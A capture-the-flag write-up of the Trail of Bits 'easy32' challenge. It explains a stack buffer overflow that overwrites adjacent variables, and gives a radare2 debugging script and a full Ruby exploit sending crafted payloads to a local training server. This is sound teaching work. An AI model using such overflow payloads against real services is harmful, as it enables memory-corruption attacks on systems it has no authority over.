Trail of Bits released a number of CTF challeleges on Github.

This post is about the easy32 binary exploitation challenge.

The easy32 challenge is found in the ctf/exploits/binary1_workshop/easy/ directory. It contains a binary (easy32), source code (EasyServer.c) and a makefile.

From reading the source we can quickly see that it will create a socket and listen on port 12346 on all interfaces. When a client connects they are presented with a menu with 3 choices. All 3 choices lead to similar functions which each read 40 bytes from the socket into a 32 byte stack buffer. The objective of this challenge seems to be to exploit this buffer overflow to alter other variables on the stack which will cause the code to enter a conditional block it would not otherwise execute and set a global variable. When all 3 global varibales are set the key is written out to the socket and the challenge is complete.

Here is the beginning of the pokemans function.

void pokemans(FILE* f){
  volatile int pikachy;
  char buf[32];
  
  fprintf(f,"So you want to be the best there ever was?\n");
  fgets(buf,40,f);

Before each 32 byte stack buffer is a 4 byte integer. Because of the way the stack grows downwards towards lower addresses, writing to byte 33 of of the buffer (buf[32] or buf + 32) will write into the 4 byte variable before it on the stack.

+-----------------------------+
|   sym.pokemans stack frame  |
+-----------------------------+
| 0x9000 (ebp) |      ...     |
| ...          |      ...     |
| 0x8FF7       |  pikachy + 3 |
| 0x8FF6       |  pikachy + 2 |
| 0x8FF5       |  pikachy + 1 |
| 0x8FF4       |  pikachy + 0 |
| 0x8FF3       |    buf + 31  |
| 0x8FF2       |    buf + 30  |
| 0x8FF1       |    buf + 29  |
| 0x8FF0       |    buf + 28  |
| 0x8FEF       |    buf + 27  |
| 0x8FEE       |    buf + 26  |
| 0x8FED       |    buf + 25  |
| 0x8FEC       |    buf + 24  |
| 0x8FEB       |    buf + 23  |
| 0x8FEA       |    buf + 22  |
| 0x8FE9       |    buf + 21  |
| 0x8FE8       |    buf + 20  |
| 0x8FE7       |    buf + 19  |
| 0x8FE6       |    buf + 18  |
| 0x8FE5       |    buf + 17  |
| 0x8FE4       |    buf + 16  |
| 0x8FE3       |    buf + 15  |
| 0x8FE2       |    buf + 14  |
| 0x8FE1       |    buf + 13  |
| 0x8FE0       |    buf + 12  |
| 0x8FDF       |    buf + 11  |
| 0x8FDE       |    buf + 10  |
| 0x8FDD       |    buf + 09  |
| 0x8FDC       |    buf + 08  |
| 0x8FDB       |    buf + 07  |
| 0x8FDA       |    buf + 06  |
| 0x8FD9       |    buf + 05  |
| 0x8FD8       |    buf + 04  |
| 0x8FD7       |    buf + 03  |
| 0x8FD6       |    buf + 02  |
| 0x8FD5       |    buf + 01  |
| 0x8FD4 (esp) |    buf + 00  |
+-----------------------------+

The conditional block we want to enter checks the value of these variables against a hardcoded value.

if(pikachy==0xfa75beef){
  p=1;    
  }

We simply need to ensure that bytes 33-36 of the data our client sends to the server through the socket correspond to the hardcoded values (0xfa75beef for pokemans).

Sounds good in theory, but if things don’t work out right away we may quickly end up trying different variations of the input and generally floundering towards a solution which is not a productive strategy for more complex projects. Even though this project is trivial, lets use a debugger to help us understand what happens at runtime and guide us towards a solution in a decisive manner. Specifically we want r2 to breakpoint before the conditional block and print out the value of the local variable we are trying to overflow (pikachy). That way we can get immediate feedback on how our client input affects the server.

I’m going to write this script in Ruby using the r2pipe gem.

require 'r2pipe'

First we need to load the binary into r2 and then reopen it in debug mode (doo)

Dir.chdir "#{ENV["HOME"]}/ctf/exploits/binary1_workshop/easy/"
r2 = R2Pipe.new "./easy32"
r2.cmd 'doo'

The easy32 server works by listening for a new connection and then spawning a new thread. The new thread is the one which will read data from the client so we need to set our first breakpoint at a point on the main thread after the child thread has been created. The waitpid function is a good candidate.

r2.cmd "db sym.imp.waitpid"
puts "[+] Waiting for connection on port 12346"
r2.cmd "dc"

Next we need to find the pid of the child thread and attach the debugger to it. This may not be the most elegant code for achieving this.

processes_j = r2.json(r2.cmd("dpj"))
child_process_j = processes_j.select do |j| j['path'] =~ /easy32/ end
child_pid = child_process_j.first['pid']
r2.cmd("dpa #{child_pid}")

Now we need to set a breakpoint on one of the compare instructions. We’ll choose number 1, the pokemans function. It would be simpler to manually disassemble the function with r2 and then copy and paste the correct address into our script. However, this is a good opportunity to demonstrate how to use the r2 search functionality.

# cmp eax, 0xfa75beef
compare_bytes = "3defbe75fa"
r2.cmd "e search.from=sym.pokemans"
r2.cmd "e search.to=sym.pokemans + 200"
cmp_offset_addr = r2.json(r2.cmd "/xj #{compare_bytes}")[0]['offset']
cmp_offset_addr_hex = "0x#{cmp_offset_addr.to_i.to_s(16)}"

puts "[+] Setting breakpoint on compare instruction at #{cmp_offset_addr_hex}"
r2.cmd("db #{cmp_offset_addr_hex}")
puts "[+] Continuing child #{child_pid}"
r2.cmd("dc #{child_pid}")

Finally we can print out the value of our (hopefully) overflowed local variable which has been stored in eax.

regs = r2.json(r2.cmd("drj"))
puts "[+] Hit breakpoint! eax = 0x#{regs['eax'].to_i.to_s(16)}"

puts "[+] Continuing child #{child_pid}"
r2.cmd("dc #{child_pid}")

puts "[+] We seem to be done. Cya."

Here is an example session with netcat.

†  nc 127.0.0.1 12346
Do you want to be a?
1.) Pokemon Master
2.) Elite Hacker
3.) The Batman
1
So you want to be the best there ever was?
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaabcde
Well then go away

And the output of out debugger script.

†  ruby easy32_dbg.rb
[+] Waiting for connection on port 12346
[+] Attaching to child 3870
[+] Setting breakpoint on compare instruction at 0x80489d4
[+] Continuing child 3870
[+] Hit breakpoint! eax = 0x65646362
[+] Continuing child 3870

We can see that Endieness causes our input 0x62,0x63,0x64,0x65 to become 0x65646362 when interpreted as a 4 byte integer. From reading the server source code we can see that:

  • the pokemans function wants 0xfa75beef
  • the batmenss function wants 0x12345678
  • the hekers function wants 0xcafebabe

To write our exploit script we will drive an external netcat process using Ruby’s built in expect functionality (note that mixing expect and r2 pipe in the same script won’t work because they will fight for control over the target process’s IO.

require 'expect'
require 'pty'

master, slave = PTY.open
read, write = IO.pipe
pid = spawn("nc 127.0.0.1 12346", :in=>read, :out=>slave)
read.close
slave.close

From here we can get data out of netcat by calling read or expect on the master object and give data to netcat by calling write on the write object.

def menu master
  puts "[+] Waiting for menu..."
  master.expect 'Do you want to be a?'
  master.expect '1.) Pokemon Master'
  master.expect '2.) Elite Hacker'
  master.expect '3.) The Batman'
  puts "...ok"
end

menu master
puts "[+] selecting 1.) Pokemon Master"
sleep 1
write.write '1\n'

master.expect 'So you want to be the best there ever was?'
sleep 1
write.write "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\xef\xbe\x75\xfa\n"

And so on for the other 2 functions. Here is example output:

†  ruby easy32_exp.rb
[+] Waiting for menu...
...ok
[+] selecting 1.) Pokemon Master
[+] Waiting for menu...
...ok
[+] selecting 2.) Elite Hacker
[+] Waiting for menu...
...ok
[+] selecting 3.) The Batman
[+] Trying to read key from socket...

Congratulations on your memory coruptions.
It only gets harder from here.

[+] kthxbai

Here is the full exploit script.

require 'expect'
require 'pty'

master, slave = PTY.open
read, write = IO.pipe
pid = spawn("nc 127.0.0.1 12346", :in=>read, :out=>slave)
read.close
slave.close

def menu master
  puts "[+] Waiting for menu..."
  master.expect 'Do you want to be a?'
  master.expect '1.) Pokemon Master'
  master.expect '2.) Elite Hacker'
  master.expect '3.) The Batman'
  puts "...ok"
end

menu master
puts "[+] selecting 1.) Pokemon Master"
sleep 1
write.write '1\n'

master.expect 'So you want to be the best there ever was?'
sleep 1
write.write "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\xef\xbe\x75\xfa\n"

menu master
puts "[+] selecting 2.) Elite Hacker"
sleep 1
write.write '2\n'
master.expect 'So you want to be an 31337 Hax0r?'
sleep 1
write.write "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\xbe\xba\xfe\xca\n"

menu master
puts "[+] selecting 3.) The Batman"
sleep 1
write.write '3\n'
master.expect 'So you want to be the batman?'
sleep 1
write.write "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\x78\x56\x34\x12\n"

puts "[+] Trying to read key from socket..."
master.readline
master.readline
puts ""
puts(master.readline)
puts(master.readline)
puts ""

puts "[+] kthxbai"
write.close
master.close

Here is the full r2 debugger script.

require 'r2pipe'

Dir.chdir "#{ENV["HOME"]}/ctf/exploits/binary1_workshop/easy/"
r2 = R2Pipe.new "./easy32"
r2.cmd 'doo'
r2.cmd "db sym.imp.waitpid"

puts "[+] Waiting for connection on port 12346"
r2.cmd "dc"

processes_j = r2.json(r2.cmd("dpj"))
child_process_j = processes_j.select do |j| j['path'] =~ /easy32/ end
puts "[!] Could not find child process" if child_process_j.empty?
child_pid = child_process_j.first['pid']
puts "[+] Attaching to child #{child_pid}"
r2.cmd("dpa #{child_pid}")

# cmp eax, 0xfa75beef
compare_bytes = "3defbe75fa"
r2.cmd "e search.from=sym.pokemans"
r2.cmd "e search.to=sym.pokemans + 200"
cmp_offset_addr = r2.json(r2.cmd "/xj #{compare_bytes}")[0]['offset']
cmp_offset_addr_hex = "0x#{cmp_offset_addr.to_i.to_s(16)}"

puts "[+] Setting breakpoint on compare instruction at #{cmp_offset_addr_hex}"
r2.cmd("db #{cmp_offset_addr_hex}")

puts "[+] Continuing child #{child_pid}"
r2.cmd("dc #{child_pid}")

regs = r2.json(r2.cmd("drj"))
puts "[+] Hit breakpoint! eax = 0x#{regs['eax'].to_i.to_s(16)}"

puts "[+] Continuing child #{child_pid}"
r2.cmd("dc #{child_pid}")

puts "[+] We seem to be done. Cya."